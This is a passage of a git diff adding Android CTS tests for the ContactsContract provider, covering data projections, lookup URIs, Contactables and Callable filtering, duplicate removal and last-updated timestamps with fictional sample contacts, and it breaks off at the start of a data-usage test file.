+            Contacts.SEND_TO_VOICEMAIL,
+            Contacts.SORT_KEY_ALTERNATIVE,
+            Contacts.SORT_KEY_PRIMARY,
+            Contacts.STARRED,
+            Contacts.PINNED,
+            Contacts.TIMES_CONTACTED,
+            Contacts.HAS_PHONE_NUMBER,
+            Contacts.CONTACT_LAST_UPDATED_TIMESTAMP,
+            Contacts.CONTACT_PRESENCE,
+            Contacts.CONTACT_CHAT_CAPABILITY,
+            Contacts.CONTACT_STATUS,
+            Contacts.CONTACT_STATUS_TIMESTAMP,
+            Contacts.CONTACT_STATUS_RES_PACKAGE,
+            Contacts.CONTACT_STATUS_LABEL,
+            Contacts.CONTACT_STATUS_ICON,
+            Data.TIMES_USED,
+            Data.LAST_TIME_USED};
+
+    static final String[] RAW_CONTACTS_ENTITY_PROJECTION = new String[]{
+    };
+
+    static final String[] NTITY_PROJECTION = new String[]{
+    };
+
+    private static ContentValues[] sContentValues = new ContentValues[7];
+    static {
+        ContentValues cv1 = new ContentValues();
+        cv1.put(Contacts.DISPLAY_NAME, "Hot Tamale");
+        cv1.put(Data.MIMETYPE, Email.CONTENT_ITEM_TYPE);
+        cv1.put(Email.DATA, "tamale@acme.com");
+        cv1.put(Email.TYPE, Email.TYPE_HOME);
+        sContentValues[0] = cv1;
+
+        ContentValues cv2 = new ContentValues();
+        cv2.put(Contacts.DISPLAY_NAME, "Hot Tamale");
+        cv2.put(Data.MIMETYPE, Phone.CONTENT_ITEM_TYPE);
+        cv2.put(Phone.DATA, "510-123-5769");
+        cv2.put(Phone.TYPE, Phone.TYPE_HOME);
+        sContentValues[1] = cv2;
+
+        ContentValues cv3 = new ContentValues();
+        cv3.put(Contacts.DISPLAY_NAME, "Hot Tamale");
+        cv3.put(Data.MIMETYPE, Email.CONTENT_ITEM_TYPE);
+        cv3.put(Email.DATA, "hot@google.com");
+        cv3.put(Email.TYPE, Email.TYPE_WORK);
+        sContentValues[2] = cv3;
+
+        ContentValues cv4 = new ContentValues();
+        cv4.put(Contacts.DISPLAY_NAME, "Cold Tamago");
+        cv4.put(Data.MIMETYPE, Email.CONTENT_ITEM_TYPE);
+        cv4.put(Email.DATA, "eggs@farmers.org");
+        cv4.put(Email.TYPE, Email.TYPE_HOME);
+        sContentValues[3] = cv4;
+
+        ContentValues cv5 = new ContentValues();
+        cv5.put(Contacts.DISPLAY_NAME, "John Doe");
+        cv5.put(Data.MIMETYPE, Email.CONTENT_ITEM_TYPE);
+        cv5.put(Email.DATA, "doeassociates@deer.com");
+        cv5.put(Email.TYPE, Email.TYPE_WORK);
+        sContentValues[4] = cv5;
+
+        ContentValues cv6 = new ContentValues();
+        cv6.put(Contacts.DISPLAY_NAME, "John Doe");
+        cv6.put(Data.MIMETYPE, Phone.CONTENT_ITEM_TYPE);
+        cv6.put(Phone.DATA, "518-354-1111");
+        cv6.put(Phone.TYPE, Phone.TYPE_HOME);
+        sContentValues[5] = cv6;
+
+        ContentValues cv7 = new ContentValues();
+        cv7.put(Contacts.DISPLAY_NAME, "Cold Tamago");
+        cv7.put(Data.MIMETYPE, SipAddress.CONTENT_ITEM_TYPE);
+        cv7.put(SipAddress.DATA, "mysip@sipaddress.com");
+        cv7.put(SipAddress.TYPE, SipAddress.TYPE_HOME);
+        sContentValues[6] = cv7;
+    }
+
+    private TestRawContact[] mRawContacts = new TestRawContact[3];
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResolver = getInstrumentation().getTargetContext().getContentResolver();
+        ContentProviderClient provider =
+                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
+        mBuilder = new ContactsContract_TestDataBuilder(provider);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        mBuilder.cleanup();
+    }
+
+    public void testGetLookupUriBySourceId() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_type")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .with(RawContacts.SOURCE_ID, "source_id")
+                .insert();
+
+        // TODO remove this. The method under test is currently broken: it will not
+        // work without at least one data row in the raw contact.
+        TestData data = rawContact.newDataRow(CommonDataKinds.StructuredName.CONTENT_ITEM_TYPE)
+                .with(CommonDataKinds.StructuredName.DISPLAY_NAME, "test name")
+                .insert();
+
+        Uri lookupUri = Data.getContactLookupUri(mResolver, data.getUri());
+        assertNotNull("Could not produce a lookup URI", lookupUri);
+
+        TestContact lookupContact = mBuilder.newContact().setUri(lookupUri).load();
+        assertEquals("Lookup URI matched the wrong contact",
+                lookupContact.getId(), data.load().getRawContact().load().getContactId());
+    }
+
+    public void testDataProjection() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_type")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .with(RawContacts.SOURCE_ID, "source_id")
+                .insert();
+        TestData data = rawContact.newDataRow(CommonDataKinds.StructuredName.CONTENT_ITEM_TYPE)
+                .with(CommonDataKinds.StructuredName.DISPLAY_NAME, "test name")
+                .insert();
+
+        DatabaseAsserts.checkProjection(mResolver, Data.CONTENT_URI,
+                DATA_PROJECTION,
+                new long[]{data.load().getId()}
+        );
+    }
+
+    public void testRawContactsEntityProjection() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_type")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .with(RawContacts.SOURCE_ID, "source_id")
+                .insert();
+        TestData data = rawContact.newDataRow(CommonDataKinds.StructuredName.CONTENT_ITEM_TYPE)
+                .with(CommonDataKinds.StructuredName.DISPLAY_NAME, "test name")
+                .insert();
+
+        DatabaseAsserts.checkProjection(mResolver, RawContactsEntity.CONTENT_URI,
+                new String[]{
+                        RawContacts._ID,
+                        RawContacts.CONTACT_ID,
+                        RawContacts.Entity.DATA_ID,
+                        RawContacts.DELETED,
+                        RawContacts.STARRED,
+                        RawContacts.RAW_CONTACT_IS_USER_PROFILE,
+                        RawContacts.ACCOUNT_NAME,
+                        RawContacts.ACCOUNT_TYPE,
+                        RawContacts.DATA_SET,
+                        RawContacts.ACCOUNT_TYPE_AND_DATA_SET,
+                        RawContacts.DIRTY,
+                        RawContacts.SOURCE_ID,
+                        RawContacts.BACKUP_ID,
+                        RawContacts.VERSION,
+                        RawContacts.SYNC1,
+                        RawContacts.SYNC2,
+                        RawContacts.SYNC3,
+                        RawContacts.SYNC4,
+                        Data.DATA1,
+                        Data.DATA2,
+                        Data.DATA3,
+                        Data.DATA4,
+                        Data.DATA5,
+                        Data.DATA6,
+                        Data.DATA7,
+                        Data.DATA8,
+                        Data.DATA9,
+                        Data.DATA10,
+                        Data.DATA11,
+                        Data.DATA12,
+                        Data.DATA13,
+                        Data.DATA14,
+                        Data.DATA15,
+                        Data.CARRIER_PRESENCE,
+                        Data.DATA_VERSION,
+                        Data.IS_PRIMARY,
+                        Data.IS_SUPER_PRIMARY,
+                        Data.MIMETYPE,
+                        Data.RES_PACKAGE,
+                        Data.SYNC1,
+                        Data.SYNC2,
+                        Data.SYNC3,
+                        Data.SYNC4,
+                        GroupMembership.GROUP_SOURCE_ID},
+                new long[]{rawContact.getId()}
+        );
+    }
+
+    public void testEntityProjection() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_type")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .with(RawContacts.SOURCE_ID, "source_id")
+                .insert();
+        TestData data = rawContact.newDataRow(CommonDataKinds.StructuredName.CONTENT_ITEM_TYPE)
+                .with(CommonDataKinds.StructuredName.DISPLAY_NAME, "test name")
+                .insert();
+        long contactId = rawContact.load().getContactId();
+
+        DatabaseAsserts.checkProjection(mResolver, Contacts.CONTENT_URI.buildUpon().appendPath(
+                        String.valueOf(contactId)).appendPath(
+                        Entity.CONTENT_DIRECTORY).build(),
+                new String[]{
+                        Contacts.Entity._ID,
+                        Contacts.Entity.CONTACT_ID,
+                        Contacts.Entity.RAW_CONTACT_ID,
+                        Contacts.Entity.DATA_ID,
+                        Contacts.Entity.NAME_RAW_CONTACT_ID,
+                        Contacts.Entity.DELETED,
+                        Contacts.IS_USER_PROFILE,
+                        Contacts.CUSTOM_RINGTONE,
+                        Contacts.DISPLAY_NAME,
+                        Contacts.DISPLAY_NAME_ALTERNATIVE,
+                        Contacts.DISPLAY_NAME_SOURCE,
+                        Contacts.IN_DEFAULT_DIRECTORY,
+                        Contacts.IN_VISIBLE_GROUP,
+                        Contacts.LAST_TIME_CONTACTED,
+                        Contacts.LOOKUP_KEY,
+                        Contacts.PHONETIC_NAME,
+                        Contacts.PHONETIC_NAME_STYLE,
+                        Contacts.PHOTO_ID,
+                        Contacts.PHOTO_FILE_ID,
+                        Contacts.PHOTO_URI,
+                        Contacts.PHOTO_THUMBNAIL_URI,
+                        Contacts.SEND_TO_VOICEMAIL,
+                        Contacts.SORT_KEY_ALTERNATIVE,
+                        Contacts.SORT_KEY_PRIMARY,
+                        Contacts.STARRED,
+                        Contacts.PINNED,
+                        Contacts.TIMES_CONTACTED,
+                        Contacts.HAS_PHONE_NUMBER,
+                        Contacts.CONTACT_LAST_UPDATED_TIMESTAMP,
+                        Contacts.CONTACT_PRESENCE,
+                        Contacts.CONTACT_CHAT_CAPABILITY,
+                        Contacts.CONTACT_STATUS,
+                        Contacts.CONTACT_STATUS_TIMESTAMP,
+                        Contacts.CONTACT_STATUS_RES_PACKAGE,
+                        Contacts.CONTACT_STATUS_LABEL,
+                        Contacts.CONTACT_STATUS_ICON,
+                        RawContacts.ACCOUNT_NAME,
+                        RawContacts.ACCOUNT_TYPE,
+                        RawContacts.DATA_SET,
+                        RawContacts.ACCOUNT_TYPE_AND_DATA_SET,
+                        RawContacts.DIRTY,
+                        RawContacts.SOURCE_ID,
+                        RawContacts.BACKUP_ID,
+                        RawContacts.VERSION,
+                        RawContacts.SYNC1,
+                        RawContacts.SYNC2,
+                        RawContacts.SYNC3,
+                        RawContacts.SYNC4,
+                        Data.DATA1,
+                        Data.DATA2,
+                        Data.DATA3,
+                        Data.DATA4,
+                        Data.DATA5,
+                        Data.DATA6,
+                        Data.DATA7,
+                        Data.DATA8,
+                        Data.DATA9,
+                        Data.DATA10,
+                        Data.DATA11,
+                        Data.DATA12,
+                        Data.DATA13,
+                        Data.DATA14,
+                        Data.DATA15,
+                        Data.CARRIER_PRESENCE,
+                        Data.DATA_VERSION,
+                        Data.IS_PRIMARY,
+                        Data.IS_SUPER_PRIMARY,
+                        Data.MIMETYPE,
+                        Data.RES_PACKAGE,
+                        Data.SYNC1,
+                        Data.SYNC2,
+                        Data.SYNC3,
+                        Data.SYNC4,
+                        GroupMembership.GROUP_SOURCE_ID,
+                        Data.PRESENCE,
+                        Data.CHAT_CAPABILITY,
+                        Data.STATUS,
+                        Data.STATUS_TIMESTAMP,
+                        Data.STATUS_RES_PACKAGE,
+                        Data.STATUS_LABEL,
+                        Data.STATUS_ICON,
+                        Data.TIMES_USED,
+                        Data.LAST_TIME_USED},
+                new long[]{contactId}
+        );
+    }
+
+    public void testGetLookupUriByDisplayName() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_type")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        TestData data = rawContact.newDataRow(CommonDataKinds.StructuredName.CONTENT_ITEM_TYPE)
+                .with(CommonDataKinds.StructuredName.DISPLAY_NAME, "test name")
+                .insert();
+
+        Uri lookupUri = Data.getContactLookupUri(mResolver, data.getUri());
+        assertNotNull("Could not produce a lookup URI", lookupUri);
+
+        TestContact lookupContact = mBuilder.newContact().setUri(lookupUri).load();
+        assertEquals("Lookup URI matched the wrong contact",
+                lookupContact.getId(), data.load().getRawContact().load().getContactId());
+    }
+
+    public void testContactablesUri() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact.newDataRow(CommonDataKinds.Email.CONTENT_ITEM_TYPE)
+                .with(Email.DATA, "test@test.com")
+                .with(Email.TYPE, Email.TYPE_WORK)
+                .insert();
+        ContentValues cv = new ContentValues();
+        cv.put(Email.DATA, "test@test.com");
+        cv.put(Email.TYPE, Email.TYPE_WORK);
+
+        Uri contentUri = ContactsContract.CommonDataKinds.Contactables.CONTENT_URI;
+        try {
+            assertCursorStoredValuesWithRawContactsFilter(contentUri,
+                    new long[] {rawContact.getId()}, cv);
+            rawContact.newDataRow(CommonDataKinds.StructuredPostal.CONTENT_ITEM_TYPE)
+                    .with(CommonDataKinds.StructuredPostal.DATA1, "100 Sesame Street")
+                    .insert();
+
+            rawContact.newDataRow(Phone.CONTENT_ITEM_TYPE)
+                    .with(Phone.DATA, "123456789")
+                    .with(Phone.TYPE, Phone.TYPE_MOBILE)
+                    .insert();
+
+            ContentValues cv2 = new ContentValues();
+            cv.put(Phone.DATA, "123456789");
+            cv.put(Phone.TYPE, Phone.TYPE_MOBILE);
+
+            // Contactables Uri should return only email and phone data items.
+            DatabaseAsserts.assertStoredValuesInUriMatchExactly(mResolver, contentUri, null,
+                    Data.RAW_CONTACT_ID + "=?", new String[] {String.valueOf(rawContact.getId())},
+                    null, false, cv, cv2);
+        } finally {
+            // Clean up
+            rawContact.delete();
+        }
+    }
+
+    public void testContactablesFilterByLastName_returnsCorrectDataRows() throws Exception {
+        long[] ids = setupContactablesTestData();
+        Uri filterUri = Uri.withAppendedPath(Contactables.CONTENT_FILTER_URI, "tamale");
+        assertCursorStoredValuesWithRawContactsFilter(filterUri, ids,
+                ContactablesTestHelper.getContentValues(0));
+    }
+
+    public void testContactablesFilterByFirstName_returnsCorrectDataRows() throws Exception {
+        long[] ids = setupContactablesTestData();
+        Uri filterUri = Uri.withAppendedPath(Contactables.CONTENT_FILTER_URI, "hot");
+        assertCursorStoredValuesWithRawContactsFilter(filterUri, ids,
+                ContactablesTestHelper.getContentValues(0));
+        Uri filterUri2 = Uri.withAppendedPath(Contactables.CONTENT_FILTER_URI, "tam");
+        assertCursorStoredValuesWithRawContactsFilter(filterUri2, ids,
+                ContactablesTestHelper.getContentValues(0, 1));
+    }
+
+    public void testContactablesFilterByPhonePrefix_returnsCorrectDataRows() throws Exception {
+        long[] ids = setupContactablesTestData();
+        Uri filterUri = Uri.withAppendedPath(Contactables.CONTENT_FILTER_URI, "518");
+        assertCursorStoredValuesWithRawContactsFilter(filterUri, ids,
+                ContactablesTestHelper.getContentValues(2));
+        Uri filterUri2 = Uri.withAppendedPath(Contactables.CONTENT_FILTER_URI, "51");
+        assertCursorStoredValuesWithRawContactsFilter(filterUri2, ids,
+                ContactablesTestHelper.getContentValues(0, 2));
+    }
+
+    public void testContactablesFilterByEmailPrefix_returnsCorrectDataRows() throws Exception {
+        long[] ids = setupContactablesTestData();
+        Uri filterUri = Uri.withAppendedPath(Contactables.CONTENT_FILTER_URI, "doeassoc");
+        assertCursorStoredValuesWithRawContactsFilter(filterUri, ids,
+                ContactablesTestHelper.getContentValues(2));
+    }
+
+    public void testContactablesFilter_doesNotExist_returnsCorrectDataRows() throws Exception {
+        long[] ids = setupContactablesTestData();
+        Uri filterUri = Uri.withAppendedPath(Contactables.CONTENT_FILTER_URI, "doesnotexist");
+        assertCursorStoredValuesWithRawContactsFilter(filterUri, ids, new ContentValues[0]);
+    }
+
+    /**
+     * Verifies that Callable.CONTENT_URI returns only data items that can be called (i.e.
+     * phone numbers and sip addresses)
+     */
+    public void testCallableUri_returnsCorrectDataRows() throws Exception {
+        long[] ids = setupContactablesTestData();
+        Uri uri = Callable.CONTENT_URI;
+        assertCursorStoredValuesWithRawContactsFilter(uri, ids, sContentValues[1],
+                sContentValues[5], sContentValues[6]);
+    }
+
+    public void testCallableFilterByNameOrOrganization_returnsCorrectDataRows() throws Exception {
+        long[] ids = setupContactablesTestData();
+        Uri uri = Uri.withAppendedPath(Callable.CONTENT_FILTER_URI, "doe");
+        // Only callables belonging to John Doe (name) and Cold Tamago (organization) are returned.
+        assertCursorStoredValuesWithRawContactsFilter(uri, ids, sContentValues[5],
+                sContentValues[6]);
+    }
+
+    public void testCallableFilterByNumber_returnsCorrectDataRows() throws Exception {
+        long[] ids = setupContactablesTestData();
+        Uri uri = Uri.withAppendedPath(Callable.CONTENT_FILTER_URI, "510");
+        assertCursorStoredValuesWithRawContactsFilter(uri, ids, sContentValues[1]);
+    }
+
+    public void testCallableFilterBySipAddress_returnsCorrectDataRows() throws Exception {
+        long[] ids = setupContactablesTestData();
+        Uri uri = Uri.withAppendedPath(Callable.CONTENT_FILTER_URI, "mysip");
+        assertCursorStoredValuesWithRawContactsFilter(uri, ids, sContentValues[6]);
+    }
+
+    public void testEnterpriseCallableFilterByNameOrOrganization_returnsCorrectDataRows()
+            throws Exception {
+        long[] ids = setupContactablesTestData();
+        Uri uri = Uri.withAppendedPath(Callable.ENTERPRISE_CONTENT_FILTER_URI, "doe").buildUpon()
+                .appendQueryParameter(ContactsContract.DIRECTORY_PARAM_KEY,
+                        String.valueOf(Directory.DEFAULT))
+                .build();
+        // Only callables belonging to John Doe (name) and Cold Tamago (organization) are returned.
+        assertCursorStoredValuesWithRawContactsFilter(uri, ids, sContentValues[5],
+                sContentValues[6]);
+    }
+
+    public void testEnterpriseCallableFilterByNumber_returnsCorrectDataRows() throws Exception {
+        long[] ids = setupContactablesTestData();
+        Uri uri = Uri.withAppendedPath(Callable.ENTERPRISE_CONTENT_FILTER_URI, "510").buildUpon()
+                .appendQueryParameter(ContactsContract.DIRECTORY_PARAM_KEY,
+                        String.valueOf(Directory.DEFAULT))
+                .build();
+        assertCursorStoredValuesWithRawContactsFilter(uri, ids, sContentValues[1]);
+    }
+
+    public void testEnterpriseCallableFilterBySipAddress_returnsCorrectDataRows()
+            throws Exception {
+        long[] ids = setupContactablesTestData();
+        Uri uri = Uri.withAppendedPath(Callable.ENTERPRISE_CONTENT_FILTER_URI, "mysip").buildUpon()
+                .appendQueryParameter(ContactsContract.DIRECTORY_PARAM_KEY,
+                        String.valueOf(Directory.DEFAULT))
+                .build();
+        assertCursorStoredValuesWithRawContactsFilter(uri, ids, sContentValues[6]);
+    }
+
+    public void testDataInsert_updatesContactLastUpdatedTimestamp() {
+        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
+        long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
+
+        SystemClock.sleep(1);
+        createData(ids.mRawContactId);
+
+        long newTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
+        assertTrue(newTime > baseTime);
+
+        // Clean up
+        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+    }
+
+    public void testDataDelete_updatesContactLastUpdatedTimestamp() {
+        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
+
+        long dataId = createData(ids.mRawContactId);
+
+        long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
+
+        SystemClock.sleep(1);
+        DataUtil.delete(mResolver, dataId);
+
+        long newTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
+        assertTrue(newTime > baseTime);
+
+        // Clean up
+        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+    }
+
+    /**
+     * Tests that specifying the {@link android.provider.ContactsContract#REMOVE_DUPLICATE_ENTRIES}
+     * boolean parameter correctly results in deduped phone numbers.
+     */
+    public void testPhoneQuery_removeDuplicateEntries() throws Exception{
+        long[] ids = setupContactablesTestData();
+
+        // Insert duplicate data entry for raw contact 3. (existing phone number 518-354-1111)
+        mRawContacts[2].newDataRow(Phone.CONTENT_ITEM_TYPE)
+                .with(Phone.DATA, "518-354-1111")
+                .with(Phone.TYPE, Phone.TYPE_HOME)
+                .insert();
+
+        ContentValues dupe = new ContentValues();
+        dupe.put(Contacts.DISPLAY_NAME, "John Doe");
+        dupe.put(Data.MIMETYPE, Phone.CONTENT_ITEM_TYPE);
+        dupe.put(Phone.DATA, "518-354-1111");
+        dupe.put(Phone.TYPE, Phone.TYPE_HOME);
+
+        // Query for all phone numbers in the contacts database (without deduping).
+        // The phone number above should be listed twice, in its duplicated forms.
+        assertCursorStoredValuesWithRawContactsFilter(Phone.CONTENT_URI, ids, sContentValues[1],
+                sContentValues[5], dupe);
+
+        // Now query for all phone numbers in the contacts database but request deduping.
+        // The phone number should now be listed only once.
+        Uri uri = Phone.CONTENT_URI.buildUpon().
+                appendQueryParameter(ContactsContract.REMOVE_DUPLICATE_ENTRIES, "true").build();
+        assertCursorStoredValuesWithRawContactsFilter(uri, ids, sContentValues[1],
+                sContentValues[5]);
+    }
+
+    /**
+     * Tests that specifying the {@link android.provider.ContactsContract#REMOVE_DUPLICATE_ENTRIES}
+     * boolean parameter correctly results in deduped email addresses.
+     */
+    public void testEmailQuery_removeDuplicateEntries() throws Exception{
+        long[] ids = setupContactablesTestData();
+
+        // Insert duplicate data entry for raw contact 3. (existing email doeassociates@deer.com)
+        mRawContacts[2].newDataRow(Email.CONTENT_ITEM_TYPE)
+                .with(Email.DATA, "doeassociates@deer.com")
+                .with(Email.TYPE, Email.TYPE_WORK)
+                .insert();
+
+        ContentValues dupe = new ContentValues();
+        dupe.put(Contacts.DISPLAY_NAME, "John Doe");
+        dupe.put(Data.MIMETYPE, Email.CONTENT_ITEM_TYPE);
+        dupe.put(Email.DATA, "doeassociates@deer.com");
+        dupe.put(Email.TYPE, Email.TYPE_WORK);
+
+        // Query for all email addresses in the contacts database (without deduping).
+        // The email address above should be listed twice, in its duplicated forms.
+        assertCursorStoredValuesWithRawContactsFilter(Email.CONTENT_URI, ids, sContentValues[0],
+                sContentValues[2], sContentValues[3], sContentValues[4], dupe);
+
+        // Now query for all email addresses in the contacts database but request deduping.
+        // The email address should now be listed only once.
+        Uri uri = Email.CONTENT_URI.buildUpon().
+                appendQueryParameter(ContactsContract.REMOVE_DUPLICATE_ENTRIES, "true").build();
+        assertCursorStoredValuesWithRawContactsFilter(uri, ids, sContentValues[0],
+                sContentValues[2], sContentValues[3], sContentValues[4]);
+    }
+
+    public void testDataUpdate_updatesContactLastUpdatedTimestamp() {
+        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
+        long dataId = createData(ids.mRawContactId);
+        long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
+
+        SystemClock.sleep(1);
+        ContentValues values = new ContentValues();
+        values.put(CommonDataKinds.Phone.NUMBER, "555-5555");
+        DataUtil.update(mResolver, dataId, values);
+
+        long newTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
+        assertTrue("Expected contact " + ids.mContactId + " last updated to be greater than " +
+                baseTime + ". But was " + newTime, newTime > baseTime);
+
+        // Clean up
+        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+    }
+
+    private long createData(long rawContactId) {
+        ContentValues values = new ContentValues();
+        values.put(Data.MIMETYPE, CommonDataKinds.Phone.CONTENT_ITEM_TYPE);
+        values.put(CommonDataKinds.Phone.NUMBER, "1-800-GOOG-411");
+        values.put(CommonDataKinds.Phone.TYPE, CommonDataKinds.Phone.TYPE_CUSTOM);
+        values.put(CommonDataKinds.Phone.LABEL, "free directory assistance");
+        return DataUtil.insertData(mResolver, rawContactId, values);
+    }
+
+    private void assertCursorStoredValuesWithRawContactsFilter(Uri uri, long[] rawContactsId,
+            ContentValues... expected) {
+        // We need this helper function to add a filter for specific raw contacts because
+        // otherwise tests will fail if performed on a device with existing contacts data
+        StringBuilder sb = new StringBuilder();
+        sb.append(Data.RAW_CONTACT_ID + " in ");
+        sb.append("(");
+        for (int i = 0; i < rawContactsId.length; i++) {
+            if (i != 0) sb.append(",");
+            sb.append(rawContactsId[i]);
+        }
+        sb.append(")");
+        DatabaseAsserts.assertStoredValuesInUriMatchExactly(mResolver, uri, null, sb.toString(),
+                null, null, false, expected);
+    }
+
+
+    private long[] setupContactablesTestData() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.DISPLAY_NAME, "Hot Tamale")
+                .insert();
+        rawContact.newDataRow(Email.CONTENT_ITEM_TYPE)
+                .with(Email.DATA, "tamale@acme.com")
+                .with(Email.TYPE, Email.TYPE_HOME)
+                .insert();
+        rawContact.newDataRow(Email.CONTENT_ITEM_TYPE)
+                .with(Email.DATA, "hot@google.com")
+                .with(Email.TYPE, Email.TYPE_WORK)
+                .insert();
+        rawContact.newDataRow(Phone.CONTENT_ITEM_TYPE)
+                .with(Phone.DATA, "510-123-5769")
+                .with(Email.TYPE, Phone.TYPE_HOME)
+                .insert();
+        mRawContacts[0] = rawContact;
+
+        TestRawContact rawContact2 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact2.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.DISPLAY_NAME, "Cold Tamago")
+                .insert();
+        rawContact2.newDataRow(Email.CONTENT_ITEM_TYPE)
+                .with(Email.DATA, "eggs@farmers.org")
+                .with(Email.TYPE, Email.TYPE_HOME)
+                .insert();
+        rawContact2.newDataRow(SipAddress.CONTENT_ITEM_TYPE)
+                .with(SipAddress.DATA, "mysip@sipaddress.com")
+                .with(SipAddress.TYPE, SipAddress.TYPE_HOME)
+                .insert();
+        rawContact2.newDataRow(Organization.CONTENT_ITEM_TYPE)
+                .with(Organization.COMPANY, "Doe Corp")
+                .insert();
+        mRawContacts[1] = rawContact2;
+
+        TestRawContact rawContact3 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact3.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.DISPLAY_NAME, "John Doe")
+                .insert();
+        rawContact3.newDataRow(Email.CONTENT_ITEM_TYPE)
+                .with(Email.DATA, "doeassociates@deer.com")
+                .with(Email.TYPE, Email.TYPE_WORK)
+                .insert();
+        rawContact3.newDataRow(Phone.CONTENT_ITEM_TYPE)
+                .with(Phone.DATA, "518-354-1111")
+                .with(Phone.TYPE, Phone.TYPE_HOME)
+                .insert();
+        rawContact3.newDataRow(Organization.CONTENT_ITEM_TYPE)
+                .with(Organization.DATA, "Doe Industries")
+                .insert();
+        mRawContacts[2] = rawContact3;
+        return new long[] {rawContact.getId(), rawContact2.getId(), rawContact3.getId()};
+    }
+
+    // Provides functionality to set up content values for the Contactables tests
+    private static class ContactablesTestHelper {
+
+        /**
+         * @return An arraylist of contentValues that correspond to the provided raw contacts
+         */
+        public static ContentValues[] getContentValues(int... rawContacts) {
+            ArrayList<ContentValues> cv = new ArrayList<ContentValues>();
+            for (int i = 0; i < rawContacts.length; i++) {
+                switch (rawContacts[i]) {
+                    case 0:
+                        // rawContact 0 "Hot Tamale" contains ContentValues 0, 1, and 2
+                        cv.add(sContentValues[0]);
+                        cv.add(sContentValues[1]);
+                        cv.add(sContentValues[2]);
+                        break;
+                    case 1:
+                        // rawContact 1 "Cold Tamago" contains ContentValues 3
+                        cv.add(sContentValues[3]);
+                        break;
+                    case 2:
+                        // rawContact 1 "John Doe" contains ContentValues 4, 5
+                        cv.add(sContentValues[4]);
+                        cv.add(sContentValues[5]);
+                        break;
+                }
+            }
+            ContentValues[] toReturn = new ContentValues[cv.size()];
+            for (int i = 0; i < cv.size(); i++) {
+                toReturn[i] = cv.get(i);
+            }
+            return toReturn;
+        }
+    }
+}
+
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataUsageTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataUsageTest.java
new file mode 100644
index 0000000..d5ab172
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataUsageTest.java
@@ -0,0 +1,198 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.provider.cts.contacts;
+
+import static android.provider.ContactsContract.DataUsageFeedback;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.net.Uri;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.Data;
+import android.provider.cts.contacts.DataUtil;
+import android.provider.cts.contacts.DatabaseAsserts;
+import android.provider.cts.contacts.RawContactUtil;
+import android.test.AndroidTestCase;
+import android.text.TextUtils;
+
+public class ContactsContract_DataUsageTest extends AndroidTestCase {
+
+    private ContentResolver mResolver;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResolver = getContext().getContentResolver();
+    }
+
+    public void testSingleDataUsageFeedback_incrementsCorrectDataItems() {
+        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
+
+        long[] dataIds = setupRawContactDataItems(ids.mRawContactId);
+
